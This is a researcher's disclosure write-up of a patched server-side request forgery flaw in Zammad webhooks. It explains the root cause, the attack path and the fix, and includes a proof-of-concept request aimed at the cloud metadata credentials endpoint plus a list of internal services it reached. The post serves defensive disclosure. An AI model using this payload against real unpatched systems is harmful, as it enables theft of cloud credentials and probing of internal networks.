The second of three findings I reported to Zammad in March 2026. It sits right next to an earlier SSRF fix and demonstrates a classic lesson: when you patch one path to a dangerous sink, you have to enumerate the others.
Fixed in 7.0.1 (and backported to 6.5.4), assigned CVE-2026-34719. I rated it High (CVSS 3.1, 8.1); Zammad scored it 8.3 (High) on CVSS v4.
Background
Zammad lets administrators define webhooks that fire on triggers — for example, “when a ticket is created, POST a payload to this URL.” Outbound HTTP is handled centrally by lib/user_agent.rb, a wrapper around Ruby’s Net::HTTP.
Root cause
UserAgent maintains a proxy_no list that excludes loopback addresses — but that only governs proxy routing. Direct connections were made with no IP-range validation at all:
proxy_no = ['localhost', '127.0.0.1', '::1'] # only affects PROXY routing
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port) # any IP/hostname allowed
# no check: is uri.host private / loopback / link-local?
The Webhook model (app/models/webhook.rb) validated only that the endpoint had a valid HTTP/HTTPS scheme and a parseable host:
def validate_endpoint
uri = URI.parse(endpoint)
errors.add :endpoint, 'invalid' unless uri.is_a?(URI::HTTP) && uri.host.present?
rescue URI::InvalidURIError
errors.add :endpoint, 'invalid'
end
No RFC 1918 ranges, no loopback, no link-local — so the cloud metadata endpoint at 169.254.169.254, internal services on 127.0.0.1, and anything on the internal network were all reachable.
The amplifier: when TriggerWebhookJob fires, the full HTTP response — headers and body — is written to http_logs and is readable by admins via GET /api/v1/http_logs. That turns a blind-ish SSRF into a clean read primitive.
Attack path
- An admin (
admin.webhook+admin.trigger) creates a webhook pointing at an internal target. - They wire it to a trigger on
ticket.action = create. - Any ticket fires the request server-side.
- The admin reads the captured response from the HTTP logs.
Proof of concept
POST /api/v1/webhooks HTTP/1.1
Content-Type: application/json
{
"name": "ssrf-poc",
"endpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http_method": "post",
"ssl_verify": false,
"active": true
}
Wire it to a trigger, create any ticket, then read GET /api/v1/http_logs. Confirmed reaching internal services on the live instance:
http://127.0.0.1:3000/api/v1/users → HTTP 401 (Zammad API)
http://127.0.0.1:6379/ → connected (Redis)
http://127.0.0.1:5432/ → connected (PostgreSQL)
http://169.254.169.254/latest/ → reached (cloud metadata)
Note on CVE-2025-32358
An earlier SSRF fix (CVE-2025-32358, ZAA-2025-01) addressed redirect-following by adding do_not_follow_redirects: true to the webhook job. That patch was present in the version I tested, and it did nothing here — pointing the endpoint directly at an internal address needs no redirect. This was a distinct, unpatched variant living one method call away from the existing fix.
Impact
On cloud-hosted deployments (AWS / GCP / Azure): exfiltration of IAM credentials, service-account tokens, or managed-identity tokens — potentially full cloud-account compromise. On-premise: internal port scanning and exfiltration from services that are not otherwise reachable from the internet.
I rated this High — CVSS 3.1 8.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N); Zammad scored it 8.3 (High) on CVSS v4.
Fix
Zammad extended the endpoint validation to reject loopback and link-local addresses, and crucially applied the check in two places: at webhook-configuration time and when the webhook job actually fires (so a hostname that resolves to an internal IP at request time can’t sneak past a creation-time check).
References
- GHSA-2vgc-vfh2-rw75 — Zammad security advisory
- CVE-2026-34719 — NVD entry
- Zammad 7.0.1 release
- Related: CVE-2025-32358 — earlier redirect-based SSRF
Thanks to the Zammad security team for handling this quickly and professionally.